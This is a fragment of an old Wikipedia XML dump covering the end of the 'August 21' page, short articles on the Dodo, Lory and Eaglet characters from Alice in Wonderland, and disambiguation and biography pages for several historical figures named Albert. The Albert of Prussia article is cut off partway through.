*[[1581]] - [[Sakuma Nobumori]], Japanese retainer and samurai (b. [[1527]])
*[[1614]] - [[Elizabeth Báthory]], Hungarian serial killer (b. [[1560]])
*[[1627]] - [[Jacques Mauduit]], French composer (b. [[1557]])
*[[1673]] - [[Henry Grey, 1st Earl of Stamford]], English soldier
*[[1689]] - [[William Cleland]], Scottish poet and soldier
*[[1762]] - [[Lady Mary Wortley Montagu]], English writer (b. [[1689]])
*[[1763]] - [[Charles Wyndham, 2nd Earl of Egremont]], British statesman (b. [[1710]])
*[[1796]] - [[John McKinly]], American physician and President of Delaware (b. [[1721]])
*[[1814]] - [[Benjamin Thompson]], American physicist and inventor (b. [[1753]])
*[[1836]] - [[Claude-Louis Navier]], French physicist (b. [[1785]])
*[[1838]] - [[Adelbert von Chamisso]], German writer (b. [[1781]])
*[[1940]] - [[Leon Trotsky]], Russian revolutionary (b. [[1879]])
*1940 - [[Ernest Lawrence Thayer]], American poet (b. [[1863]])
*[[1943]] - [[Henrik Pontoppidan]], Danish writer, [[Nobel Prize in Literature|Nobel Prize]] (b. [[1857]])
*[[1947]] - [[Ettore Bugatti]], Italian automobile manufacturer (b. [[1881]])
*[[1951]] - [[Constant Lambert]], British composer and conductor (b. [[1905]])
*[[1957]] - [[Harald Ulrik Sverdrup]], Norwegian meteorologist and oceanographer (b. [[1888]])
*[[1960]] - [[David Barnard Steinman]], American civil engineer and bridge designer (b. [[1886]])
*[[1978]] - [[Charles Eames]], American designer and architect (b. [[1907]])
*[[1982]] - [[Sobhuza II]], [[King of Swaziland]] (b. [[1899]])
*[[1983]] - [[Benigno S. Aquino Jr.]], Philippine opposition leader (b. [[1932]])
*[[1995]] - [[Subrahmanyan Chandrasekhar]], Indian-born astrophysicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1910]])
*[[1997]] - [[Norris Bradbury]], American physicist (b. [[1909]])
*[[2000]] - [[Daniel Lisulo]], Zambian prime minister (b. [[1930]])
*[[2003]] - [[Kathy Wilkes]], English philosopher and aid worker (b. [[1946]])
*2003 - [[Wesley Willis]], American musician (b. [[1963]])
*[[2005]] - [[Marcus Schmuck]], Austrian mountaineer (b. [[1925]])
*2005 - [[Robert Moog]], American pioneer of electronic music (b. [[1934]])
*2005 - [[Dalia Rabikovich]], Israeli poet (b. [[1936]])

==Holidays and observances==
*[[Ninoy Aquino|Ninoy Aquino Day]] - special holiday in the [[Philippines]].
*[[Roman festivals]] - [[Consualia]], in honor of [[Consus]], is held
*[[List of saints|RC saints]] - Pope [[Pius X]]
*[[Orthodox]] - [[Thaddaeus]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/21 BBC: On This Day]

----

[[August 20]] - [[August 22]] - [[July 21]] - [[September 21]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:21 Augustus]]
[[ar:21 أغسطس]]
[[an:21 d'agosto]]
[[ast:21 d'agostu]]
[[bg:21 август]]
[[be:21 жніўня]]
[[bs:21. august]]
[[ca:21 d'agost]]
[[ceb:Agosto 21]]
[[cv:Çурла, 21]]
[[co:21 d'aostu]]
[[cs:21. srpen]]
[[cy:21 Awst]]
[[da:21. august]]
[[de:21. August]]
[[et:21. august]]
[[el:21 Αυγούστου]]
[[es:21 de agosto]]
[[eo:21-a de aŭgusto]]
[[eu:Abuztuaren 21]]
[[fo:21. august]]
[[fr:21 août]]
[[fy:21 augustus]]
[[ga:21 Lúnasa]]
[[gl:21 de agosto]]
[[ko:8월 21일]]
[[hr:21. kolovoza]]
[[io:21 di agosto]]
[[id:21 Agustus]]
[[ia:21 de augusto]]
[[ie:21 august]]
[[is:21. ágúst]]
[[it:21 agosto]]
[[he:21 באוגוסט]]
[[jv:21 Agustus]]
[[ka:21 აგვისტო]]
[[csb:21 zélnika]]
[[ku:21'ê gelawêjê]]
[[la:21 Augusti]]
[[lt:Rugpjūčio 21]]
[[lb:21. August]]
[[li:21 augustus]]
[[hu:Augusztus 21]]
[[mk:21 август]]
[[ms:21 Ogos]]
[[nap:21 'e aùsto]]
[[nl:21 augustus]]
[[ja:8月21日]]
[[no:21. august]]
[[nn:21. august]]
[[oc:21 d'agost]]
[[pl:21 sierpnia]]
[[pt:21 de Agosto]]
[[ro:21 august]]
[[ru:21 августа]]
[[sco:21 August]]
[[sq:21 Gusht]]
[[scn:21 di austu]]
[[simple:August 21]]
[[sk:21. august]]
[[sl:21. avgust]]
[[sr:21. август]]
[[fi:21. elokuuta]]
[[sv:21 augusti]]
[[tl:Agosto 21]]
[[tt:21. August]]
[[te:ఆగష్టు 21]]
[[th:21 สิงหาคม]]
[[vi:21 tháng 8]]
[[tr:21 Ağustos]]
[[uk:21 серпня]]
[[wa:21 d' awousse]]
[[war:Agosto 21]]
[[zh:8月21日]]
[[pam:Agostu 21]]</text>
    </revision>
  </page>
  <page>
    <title>Dodo (Alice's Adventures in Wonderland)</title>
    <id>1500</id>
    <revision>
      <id>33591757</id>
      <timestamp>2006-01-02T12:39:06Z</timestamp>
      <contributor>
        <username>Hu</username>
        <id>133716</id>
      </contributor>
      <minor />
      <comment>Category fictional birds.</comment>
      <text xml:space="preserve">[[Image:Alice and Dodo.gif|right]]

The '''Dodo''' is a fictional character appearing in Chapters 2 and 3 of the book ''[[Alice's Adventures in Wonderland]]'' by [[Lewis Carroll]] (Charles Lutwidge Dodgson). It is a reference to Dodgson himself who had a stutter and very frequently pronounced his name &quot;Do-do-dodgson&quot;.

In this passage Lewis Carroll incorporated references to everyone present on the original boating expedition of [[July 4]], [[1862]] during which Alice's Adventures were first told, with [[Alice (Alice's Adventures in Wonderland)|Alice]] as herself, and the others represented by birds: the [[Lory]] was Lorina Liddell, the [[The Eaglet|Eaglet]] was Edith Liddell, the Dodo was Carroll, and the [[Duck]] was Rev. [[Robinson Duckworth]].

[[Category:Alice characters]]
[[Category:Fictional birds]]</text>
    </revision>
  </page>
  <page>
    <title>Lory</title>
    <id>1501</id>
    <revision>
      <id>32990968</id>
      <timestamp>2005-12-28T12:36:55Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">A [[lory]] is any of about 30 [[species]] of small, fast-moving [[parrot]] from southern Asia and New Guinea. See [[lorikeet]].
----
The '''Lory''' is a character appearing in Chapters 2 and 3 of ''[[Alice's Adventures in Wonderland]]'' by [[Lewis Carroll]], a reference to Lorina Liddell, [[Alice (Alice's Adventures in Wonderland)|Alice]]'s sister.

In this passage Lewis Carroll incorporated references to everyone present on the original boating expedition of [[July 4]], [[1862]] during which Alice's Adventures were first told, with Alice as [[Alice Liddell|herself]], and the others represented by birds: the Lory was Lorina Liddell, [[the Eaglet]] was Edith Liddell, the [[Dodo (Alice's Adventures in Wonderland)|Dodo]] was [[Lewis Carroll|Carroll]] himself, and the Duck was Rev. [[Robinson Duckworth]].

[[Category:Alice characters]]
[[Category:Fictional parrots]]</text>
    </revision>
  </page>
  <page>
    <title>Eaglet (Alice's Adventures in Wonderland)</title>
    <id>1502</id>
    <revision>
      <id>31596412</id>
      <timestamp>2005-12-16T10:39:13Z</timestamp>
      <contributor>
        <ip>202.152.162.216</ip>
      </contributor>
      <text xml:space="preserve">The '''Eaglet''' is a character appearing in Chapter 2 and 3 of ''[[Alice's Adventures in Wonderland]]'' by [[Lewis Carroll]], a reference to Edith Liddell, [[Alice (Alice's Adventures in Wonderland)|Alice]]'s sister.

In this passage Lewis Carroll incorporated references to everyone present on the original boating expedition of [[July 4]], [[1862]] during which Alice's Adventures were first told, with Alice as [[Alice Liddell|herself]], and the others represented by birds: the [[Lory]] was Lorina Liddell, the Eaglet was Edith Liddell, the [[Dodo (Alice's Adventures in Wonderland)|Dodo]] was [[Charles Lutwidge Dodgson]], and the Duck was Rev. [[Robinson Duckworth]].
[[Category:Alice characters|Eaglet, The]]
[[Category:Fictional birds of prey |Eaglet, The]]</text>
    </revision>
  </page>
  <page>
    <title>Albuquerque (disambiguation)</title>
    <id>1503</id>
    <revision>
      <id>24311853</id>
      <timestamp>2005-09-29T11:22:09Z</timestamp>
      <contributor>
        <username>PatGallacher</username>
        <id>164032</id>
      </contributor>
      <comment>better disambiguation</comment>
      <text xml:space="preserve">#redirect [[Alburquerque]]</text>
    </revision>
  </page>
  <page>
    <title>Albert</title>
    <id>1504</id>
    <revision>
      <id>42096886</id>
      <timestamp>2006-03-03T20:30:09Z</timestamp>
      <contributor>
        <ip>62.162.242.140</ip>
      </contributor>
      <text xml:space="preserve">'''Albert''' is a common first and last name. It is also the name of several historical people. (Note: only persons with &quot;Albert&quot; as their only common name are listed here; persons with &quot;Albert&quot; as a first or last name, such as [[Albert Einstein]], are not listed.)The name was from a germanic name Adalbrecht that meant &quot;bright nobility&quot;
* [[Archduke Albert (1817-1895)]], Son of [[Archduke Charles]], [[Austria]]n General.
*[[Albert (wojt)]] (after 1317), [[wojt]] of [[Kraków]]
*[[Albert I of Belgium]] reigning [[1909]]-[[1934]] 
*[[Albert I of Brandenburg]] (c. 1100-1170) Margrave of Brandenburg
*[[Albert I of Habsburg]] (c. 1250-1308) German king
*[[Albert II of Austria]] (1298-1358), Duke of Austria
*[[Albert II of Belgium]] reigning [[Belgian monarch]]
*[[Albert II of Habsburg]] (=Albert V of Austria) (1397-1439) German king
*[[Albert I, Prince of Monaco|Albert I of Monaco]]
*[[Albert II, Prince of Monaco|Albert II of Monaco]] reigning [[Monegasque monarch]]
*[[Albert III of Austria]], Duke of Austria 1365-1395
*[[Albert IV of Austria]], Duke of Austria 1395-1404
*[[Albert Of Aix]] (c. A.D. 1100)
*[[Albert of Mainz]] (1490-1545) Archbishop of Mainz
*[[Albert of Prussia]] (1490-1568) First duke of Prussia
*[[Albert of Sweden|Albert Mecklenburg, King of Sweden]] reigning [[1363]]-[[1389]]
*[[Albert The Degenerate]] (c. 1240-1314)
*[[Albert The Warlike]] (1522-1557) Prince of Bayreuth
*[[Albert VI of Austria]], Duke of Austria (ruler of Inner Austria) 1446-1463
*[[Albert, duc de Broglie]] (1821-1901), French politician
*[[Albert, Duke of Saxony]] (1443-1500) Duke of Saxony
*[[Albert, King of Saxony]] (1828-1873)
*[[Albert's Real Jamaican Foods]] (Restaurant)
*[[Archduke Albert (1559-1621)]], Son of [[Maximilian II, Holy Roman Emperor]], Governor of the [[Low Countries]];
*[[Prince_Albert_of_Saxe-Coburg-Gotha|Albert of Saxe-Coburg-Gotha]] (1819-1861) Prince-consort of Queen Victoria of England
*[[Prince Albert Victor, Duke of Clarence and Avondale]] 

The following places are named '''Albert'''.
*[[Albert County, New Brunswick]]
*[[Albert (electoral district)]] in New Brunswick, Canada
*[[Albert Township, Michigan]]
*[[Albert Township, North Dakota]]
*[[Albert, Kansas]]
*[[Albert, Somme]] is the name of a [[commune in France|commune]] of the [[Somme]] ''[[département in France|département]]'' in [[France]].

In addition, the word ''&quot;Albert&quot;'' can refer to the following:
* '''Albert''' is also the name of one of the supporting characters in the early [[1960s]] version of the ''[[Josie and the Pussycats (comic) | Josie]]'' (later ''[[Josie and the Pussycats (comic) | Josie and the Pussycats]]'') comic book produced by [[Archie Comics]].
*'''[[719_Albert|Albert]]''' is also a near-earth [[asteroid]].
*'''[[Albert clarinet maker|Albert]]''' was a [[Belgian]] [[clarinet]] maker.
*'''Albert E. Gator''', the mascot of the [[University of Florida]]

The female form of Albert is '''[[Alberta]]''' or '''[[Albertina]]'''

{{disambig}}

[[de:Albert]]
[[fr:Albert]]
[[hu:Albert (keresztnév)]]
[[ja:アルバート]]
[[nl:Albert]]
[[pl:Albert]]
[[pt:Alberto]]
[[sk:Albert]]
[[fi:Albert]]
[[sv:Albert]]
Albert LLLESHI
DIBER R.Macedonia</text>
    </revision>
  </page>
  <page>
    <title>Albert I</title>
    <id>1505</id>
    <revision>
      <id>38138004</id>
      <timestamp>2006-02-04T12:33:58Z</timestamp>
      <contributor>
        <username>Ft1</username>
        <id>875504</id>
      </contributor>
      <minor />
      <comment>+it</comment>
      <text xml:space="preserve">'''Albert I''' is the name of several historical people:

*[[Albert I of Belgium]] (1875 - 1934) third king of  Belgium
*[[Albert I of Brandenburg]] (c. 1100-1170) Margrave of Brandenburg
*[[Albert I of Germany|Albert I of Habsburg]] (c. 1250-1308) German king
*[[Albert I, Prince of Monaco|Albert I of Monaco]] (1848-1922), Prince of [[Monaco]]
*[[Albert I, Count of Namur|Albert I of Namur]] (c. 950-1011), a Belgian count
*[[Albert I, Count Vermandois|Albert I of Vermandois]] (917 -- [[8 September]] 987), Count of Vermandois in Normandy

{{hndis}}

[[fr:Albert_Ier]]
[[it:Alberto I]]</text>
    </revision>
  </page>
  <page>
    <title>Albert II</title>
    <id>1506</id>
    <revision>
      <id>38295331</id>
      <timestamp>2006-02-05T10:52:48Z</timestamp>
      <contributor>
        <username>Ft1</username>
        <id>875504</id>
      </contributor>
      <minor />
      <comment>+it</comment>
      <text xml:space="preserve">'''Albert II''' is the name of several monarchs:

===Current===
* [[Albert II of Belgium]] (1934&amp;ndash;)
* [[Albert II, Prince of Monaco|Albert II of Monaco]] (1958&amp;ndash;)
===Historical===
* [[Albert II of Austria]] (1298&amp;ndash;1358)
* [[Albert II of Gorizia]]
* [[Albert II of Germany|Albert II of Habsburg]] (1397&amp;ndash;1439)


{{hndis}}

[[fr:Albert II]]
[[it:Alberto II]]
[[ko:알베르 2세]]
[[nl:Albert II]]
[[ja:アルベール2世]]
[[no:Albert II]]
[[pl:Albert II]]
[[fi:Albert II]]</text>
    </revision>
  </page>
  <page>
    <title>Albert III</title>
    <id>1507</id>
    <revision>
      <id>35530412</id>
      <timestamp>2006-01-17T11:57:58Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>{{hndis}}</comment>
      <text xml:space="preserve">'''Albert III''' may mean:


*[[Albert III of Austria]] (1349-1395)
*[[Albert III, Duke of Bavaria|Albert III of Bavaria]] (1438-1460)
*[[Albert III, Margrave of Brandenburg]] (1414-1486)
*[[Albert III, Count of Namur]] (1048-1102)
*[[Albert III, Duke of Saxe-Wittenberg]] (1260-1298)
*[[Albert, Duke of Saxony]] (1443-1500), sometimes called &quot;Albert III&quot;

{{hndis}}</text>
    </revision>
  </page>
  <page>
    <title>Albert the Warlike</title>
    <id>1508</id>
    <revision>
      <id>40852331</id>
      <timestamp>2006-02-23T12:32:28Z</timestamp>
      <contributor>
        <username>Saga City</username>
        <id>138511</id>
      </contributor>
      <minor />
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Albert''' or '''Albrecht''' ([[March 28]] [[1522]]-[[1557]]), prince of [[Bayreuth]], ([[Germany]]), surnamed '''the Warlike''', and also '''Alcibiades''', was a son of [[Kasimir, Margrave of Bayreuth]], and a member of the [[Franconia|Franconian]] branch of the [[Hohenzollern]] family.  

He was born at [[Ansbach]] and having lost his father in 1527 he came under the guardianship of his uncle George, prince of Ansbach, a strong adherent of [[Protestantism]].  
In 1541 he received Bayreuth as his share of the family lands, and as the chief town of his principality was [[Kulmbach]] he is sometimes referred to as the margrave of 
Brandenburg-Kulmbach.  

His restless and turbulent nature marked him out for a military career; and having collected 
a small band of soldiers, he assisted the emperor [[Charles V, Holy Roman Emperor|Charles V]] in his war with France in 1543.  
The [[Peace of Crepy]] in September 1544 deprived him of this employment, but he had won 
a considerable reputation, and when Charles was preparing to attack the [[Schmalkaldic League]], he took pains to win Albert's assistance.  
Sharing in the attack on the Saxon electorate, Albert was taken prisoner at [[Rochlitz]] in March 1547 by [[John Frederick, Elector of Saxony]], but was released as a result of the emperor's victory at the [[Battle of Mühlberg]] in the succeeding April.  

He then followed the fortunes of his friend [[Maurice of Saxony]], deserted Charles, and joined the league which proposed to overthrow the emperor by an alliance with [[Henry II of France]].  He took part in the subsequent campaign, but when the [[Peace of Passau]] was signed in August 1552 he separated himself from his allies and began a crusade of plunder in [[Franconia]].  Having extorted a large sum of money from the citizens of [[Nuremberg]], he quarrelled with his supporter, the French king, and offered his services to the emperor.  Charles, anxious to secure such a famous fighter, gladly assented to Albert's demands and gave the imperial sanction to his possession of the lands taken from the bishops of [[Würzburg]] and [[Bamberg]]; and his conspicuous bravery was of great value to the emperor on the retreat from [[Metz]] in January 1553.  

When Charles left Germany a few weeks later, Albert renewed his depredations in Franconia.  These soon became so serious that a league was formed to crush him, and Maurice of Saxony led an army against his former comrade.  The rival forces met at Sievershausen on [[July 9]] [[1553]], and after a combat of unusual ferocity Albert was put to flight.  
Henry II, duke of Brunswick, then took command of the troops of the league, and after Albert had been placed under the imperial ban in December 1553 he was defeated by Duke Henry, and compelled to flee to France.  
He there entered the service of Henry II of France and had undertaken a campaign to regain 
his lands when he died at [[Pforzheim]] on [[January 8]] [[1557]]. 

He is defined by [[Carlyle]] &quot;a failure of a Fritz,&quot; with &quot;features&quot; of a Frederick the Great in him, &quot;but who burnt away his splendid qualities as a mere temporary shine for the able editors, and never came to anything, full of fire, too much of it wildfire, not in the least like an Alcibiades except in the change of fortune he underwent&quot;.

==References==
*{{1911}}

[[Category:1522 births|Warlike, Albert the]]
[[Category:1557 deaths|Warlike, Albert the]]
[[Category:House of Hohenzollern]]

[[de:Albrecht Alcibiades von Brandenburg-Kulmbach]]</text>
    </revision>
  </page>
  <page>
    <title>Albert I of Brandenburg</title>
    <id>1509</id>
    <revision>
      <id>36476681</id>
      <timestamp>2006-01-24T08:16:25Z</timestamp>
      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <comment>add cat</comment>
      <text xml:space="preserve">[[Image:Adalbertus Siegel.JPG|thumb|175px|left|The seal of Albert I]]'''Albert I''' (c. 1100-1170), [[Margrave]] of [[Brandenburg]], also called, '''The Bear''' (Ger: '''Albrecht der Bär'''), was the only son of Otto the Rich, count of [[Ballenstedt]], and [[Eilika of Saxony|Eilika]], daughter of [[Magnus, Duke of Saxony|Magnus Billung]], [[Rulers of Saxony|Duke of Saxony]].  He inherited the valuable estates in northern Saxony of his father in [[1123]], and on his mother's death, in [[1142]], succeeded to one-half of the lands of the house of [[Billung]].  
[[Image:Albrecht gesamt.JPG|thumb|Monument commemorating Albrecht, [[Spandau|Spandau Citadel]], Berlin]]
Albrecht was a loyal [[vassal]] of his relation, [[Lothair II, Holy Roman Emperor|Lothar I, duke of Saxony]], from whom, about [[1123]], he received the margravate of [[Lusatia]], to the east; after Lothar became king of the Germans, he accompanied him on a disastrous expedition to [[Bohemia]] in [[1126]], when he suffered a short imprisonment.  

Albert's entanglements in Saxony stemmed from his desire to expand his inherited estates there. In [[1128]] his brother-in-law, Henry II, who was margrave of a small area on the Elbe called the Saxon [[Northern March]], died, and Albert, disappointed at not receiving this fief himself, attacked Udo, the heir, and was consequently deprived of Lusatia by Lothar.  In spite of this, he went to [[Italy]] in [[1132]] in the train of the king, and his services there were rewarded in [[1134]] by the investiture of the North Mark, which was again without a ruler.   

Once he was firmly established in the[[ Nordmark]], Albert's covetous eye lay also on the thinly populated lands to the north and east. Three years he was occupied in campaigns against the Slavic [[Wends]], who as pagans were considered fair game, and whose subjugation to Christianity was the aim of the &quot;Wendish crusade&quot; of 1147 in which Albert took part; diplomatic measures were more successful, and by an arrangement made with [[Pribislav]], the last of the Wendish dukes of Brandenburg, Albert secured this district when the duke died in [[1150]]. Taking the title &quot;Margrave of Brandenburg&quot;, he pressed the &quot;crusade&quot; against the Wends, extended the area of his mark, encouraged German migration, established bishoprics under his protection, and so became the founder of the [[Margraviate]] of Brandenburg in [[1157]], which his heirs&amp;mdash;the [[Ascanian]]s&amp;mdash;held until the line died out in 1320. 

In [[1137]] his cousin and nemesis, [[Henry II, Duke of Saxony|Henry the Proud]] was deprived by the Hohenstaufen [[Conrad III of Germany|Conrad III, King of the Germans]] of his Saxon duchy, which was awarded to Albert, if he could take it. After some initial success in his efforts to take possession, he was driven from Saxony, and also from his Nordmark by Henry, and compelled to take refuge in South Germany. When peace was made with Henry in [[1142]] Albert renounced the Saxon dukedom and received the counties of [[Weimar]] and [[Orlamunde|Orlamünde]].  It was possibly at this time that Albert was made Arch-Chamberlain of the Empire, an office which afterwards gave the Margraves of Brandenburg the rights of a [[prince-elector]]. 

A feud with Henry's son, [[Henry the Lion]], Duke of Saxony, was interrupted, in [[1158]], by a pilgrimage to the Holy Land, and in [[1162]] Albert accompanied the Emperor [[Frederick Barbarossa]] to [[Italy]], where he distinguished himself at the storming of [[Milan]].  

In [[1164]] he joined a league of princes formed against Henry the Lion, and peace being made in [[1169]], Albert divided his territories among his six sons, and died on [[November 13]] [[1170]], and was buried at Ballenstedt.

His personal qualities won for him the surname of ''the Bear,'' &quot;not from his looks or qualities, for he was a tall handsome man, but from the cognisance on his shield, an able man, had a quick eye as well as a strong hand, and could pick what way was straightest among crooked things, was the shining figure and the great man of the North in his day, got much in the North and kept it, got Brandenburg for one there, a conspicuous country ever since,&quot; says [[Thomas Carlyle|Carlyle]], who called Albert &quot;a restless, much-managing, wide- warring man.&quot;  He is also called by later writers &quot;the Handsome.&quot;

==Family and children==
He was married in [[1124]] to [[Sofie of Winzenburg]] (d. [[25 March]] [[1160]]) and they had the following children:
# [[Otto I, Margrave of Brandenburg]] (1126/28 &amp;ndash; [[7 March]] [[1184]]).
# Count [[Hermann I of Orlamünde]] (d. 1176).
# Siegfried (d. [[24 October]] [[1184]]), [[Bishop of Brandenburg]] in 1173-80, [[Archbishop of Bremen]] in 1180-84.
# Heinrich (d. 1185), a canon in [[Magdeburg]].
# Count [[Albrech of Ballenstedt]] (d. after [[6 December]] [[1172]]).
# Count [[Dietrich of Werben]] (d. after [[5 September]] [[1183]]).
# Count [[Bernhard of Anhalt]] (1140 &amp;ndash; [[9 February]] [[1212]]), [[Duke of Saxony]] in 1180-1212 as Bernard III.
# Hedwig (d. 1203), married to [[Otto, Margrave of Meißen]].
# Daughter, married ca. 1152 to [[Vladislav of Bohemia]].
# Adelheid (d. 1162), a nun in [[Lamspringe]].
# Gertrude, married 1155 to Duke [[Diepold of Moravia]].
# Sybille (d. ca. 1170), Abbess of [[Quedlinburg]].
# Eilika

==External links==
*[http://www.underthesun.cc/Classics/Carlyle/Friedrich/Friedrich14.html Thomas Carlyle, ''History of Friedrich ii''] Chapter iv: Albert the Bear
*[http://www.kessler-web.co.uk/History/KingListsEurope/GermanyBrandenburg.htm Brandenburg:] table of rulers

{{start box}}
{{succession box|
before=[[Henry II, Duke of Saxony|Henry II]]|
title=[[Rulers of Saxony|Duke of Saxony]]|
years=1138&amp;ndash;1142|
after=[[Henry the Lion|Henry III]]}}
{{succession box|
before=New creation|
title=[[Elector of Brandenburg|Margrave of Brandenburg]]|
years=1157&amp;ndash;1170|
after=[[Otto I, Margrave of Brandenburg|Otto I]]}}
{{end box}}

[[Category:Dukes of Saxony]]
[[Category:1100 births|Brandenburg, Albert I of]]
[[Category:1170 deaths|Brandenburg, Albert I of]]
[[Category:Ascanian House|Brandenburg, Albert I of ]]

{{Link FA|de}}

[[de:Albrecht I. (Brandenburg)]]
[[fr:Albert Ier de Brandebourg]]
[[it:Alberto I di Brandeburgo]]
[[pl:Albrecht Niedźwiedź]]</text>
    </revision>
  </page>
  <page>
    <title>Albert III of Brandenburg</title>
    <id>1510</id>
    <revision>
      <id>15899980</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Albert III, Margrave of Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Albert I of Hapsburg</title>
    <id>1511</id>
    <revision>
      <id>15899981</id>
      <timestamp>2004-10-22T15:19:29Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Albert I of Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Albert II of Hapsburg</title>
    <id>1512</id>
    <revision>
      <id>15899982</id>
      <timestamp>2004-10-18T06:00:28Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Albert II of Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Albert of Mainz</title>
    <id>1513</id>
    <revision>
      <id>40429516</id>
      <timestamp>2006-02-20T14:05:55Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Florin]] to [[German florin]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:ADurerCardinalAlbrecht.jpg|thumb|right|260px|Cardinal Albert of Hohenzollern, Archbishop of Mainz and Magdeburg: engraved portrait by [[Albrecht Dürer]], 1519]] 
Cardinal '''Albert of Hohenzollern''' (German: ''Albrecht''; [[June 28]], [[1490]] in [[Cölln]] &amp;ndash; [[September 24]], [[1545]] in [[Aschaffenburg]]), [[Prince-elector|Elector]] and [[Archbishop of Mainz]] and [[Archbishop of Magdeburg]], was the younger son of [[John Cicero, Elector of Brandenburg]].

After their father's death, Albert and his older brother [[Joachim I Nestor]] became [[Margrave of Brandenburg|margraves of Brandenburg]] in [[1499]], but only his older brother held the title of an [[elector of Brandenburg]]. 
Having studied at the university of [[Frankfurt an der Oder]], 
Albert entered the ecclesiastical profession, and in [[1513]] became 
[[archbishop]] of [[Archbishopric of Magdeburg|Magdeburg]] and administrator of the [[Diocese of Halberstadt]].  

In [[1514]] he obtained the [[Electorate of Mainz]], 
and in [[1518]] was made a [[Cardinal_(Catholicism)|cardinal]].  Meanwhile to pay for the [[pallium]] of the see of Mainz and to discharge the other 
expenses of his elevation, Albert had borrowed 21,000 [[ducat]]s  from [[Jacob Fugger]], and had obtained permission from [[Pope Leo X]] to conduct the sale of [[indulgences]] in his diocese to 
obtain funds to repay this loan, as long as half the collection was forwarded to the Papacy. An agent of the Fuggers subsequently traveled in the Cardinal's retinue in charge of the cashbox.  For this work he procured 
the services of [[John Tetzel]], and so indirectly exercised a 
potent influence on the course of the [[Reformation]].  

When the imperial election of [[1519]] drew near, the elector's vote was 
eagerly solicited by the partisans of Charles (afterwards 
the emperor [[Charles V, Holy Roman Emperor|Charles V]]) and by those of [[Francis I of France|Francis I]], King of France, and he appears to have received a large amount of 
money for the vote, which he cast eventually for Charles.  

Albert's large and liberal ideas, his friendship with [[Ulrich von Hutten]], and his political ambitions, appear to have raised 
hopes that he would be won over to [[Protestantism]]; but 
after the [[Peasants' War]] of [[1525]] he ranged himself definitely 
among the supporters of [[Catholicism]], and was among the princes 
who met to concert measures for its defence at [[Dessau]] in July 
[[1525]].  

His hostility towards the reformers, however, was 
not so extreme as that of his brother Joachim I, Elector of 
Brandenburg; and he appears to have exerted himself in the 
interests of peace, although he was a member of the [[League of Nuremberg]], which was formed in [[1538]] as a counterpoise to the [[League of Schmalkalden]].  

The new doctrines nevertheless 
made considerable progress in his dominions, and he was 
compelled to grant religious liberty to the inhabitants 
of Magdeburg in return for 500,000 [[German florin|florin]]s.  During his 
latter years indeed he showed more intolerance towards the 
Protestants, and favoured the teaching of the [[Society of Jesus|Jesuits]] in his 
dominions.  

Albert adorned the [[collegiate church]] (''Stiftskirche'')  at [[Halle (Saale)]] and 
the [[Mainz Cathedral|cathedral at Mainz]] in sumptuous fashion, and took as his 
motto the words ''Domine, dilexi decorem domus tuae'' (Latin for: &quot;Lord, I admired the adornment of your house.&quot;). A generous 
patron of art and learning, he counted [[Erasmus]] among his 
friends.  

He died at [[Aschaffenburg]] on September 24, 1545. 

==References==
*{{1911}}

[[Category:Roman Catholic archbishops]]
[[Category:German cardinals]]
[[Category:1490 births]]
[[Category:1545 deaths]]

[[de:Albrecht (Brandenburg)]]
[[no:Albrecht von Brandenburg]]
[[zh:阿尔布雷希特 (勃兰登堡)]]</text>
    </revision>
  </page>
  <page>
    <title>Albert of Prussia</title>
    <id>1514</id>
    <revision>
      <id>40543700</id>
      <timestamp>2006-02-21T08:55:36Z</timestamp>
      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <comment>self rv</comment>
      <text xml:space="preserve">[[Image:Albrecht von Hohenzollern-Ansbach.jpg|thumb|250px|left|Albrecht von Hohenzollern Grand Master of the Teutonic Order]]
[[Image:Albert_of_Prussia.jpg|right|]]
'''Albert''' ([[May 16]], [[1490]] - [[March 20]], [[1568]]), ('''Albertus''' in [[Latin]], '''Albrecht''' in [[German language|German]]) Grand Master of the [[Teutonic Order]] and first duke of [[Ducal Prussia]], was the third son of [[Frederick I Margrave of Brandenburg-Ansbach|Frederick of Hohenzollern]], prince of [[Ansbach]] and [[Bayreuth]], and Sophia, daughter of [[Casimir IV Jagiello]] Grand Duke of [[Lithuania]] and King of [[Poland]] and his wife Elisabeth of [[Habsburg]]. 

Born at [[Ansbach]] on May 16, 1490, he was intended for the church, and spent some time at the court of Hermann, elector of [[Cologne]], who appointed him canon in his cathedral.

Duke Albrecht's Titles (on his proclamation of 1561, Koenigsberg): ''Albrecht the Elder, Margrave of Brandenburg, in Prussia, Stettin in Pomerania Duke of the Cassuben (Kashubs) and Wends, Burggrave of Nuremberg and Count of Ruegen etc''. 

Turning to a more active life, Albrecht accompanied the emperor [[Maximilian I]] to [[Italy]] in 1508, and after his return spent some time in [[Hungary]]. 

In December, [[Friedrich of Saxony (1473-1510)|Frederick]], Grand Master of the [[Teutonic Order]], died, and Albert was chosen as his successor early in [[1511]] in the hope that his relationship to his maternal uncle [[Sigismund I of Poland|Sigismund I the Old]] Grand Duke of [[Lithuania]] and King of Poland, would facilitate a settlement of the disputes over east Prussia, which had been held by the Order under Polish suzerainty since the [[Second Treaty of Thorn]] in 1466, but this was not acknowledged by pope or emperor and had been circumvented by the Grand Masters. 

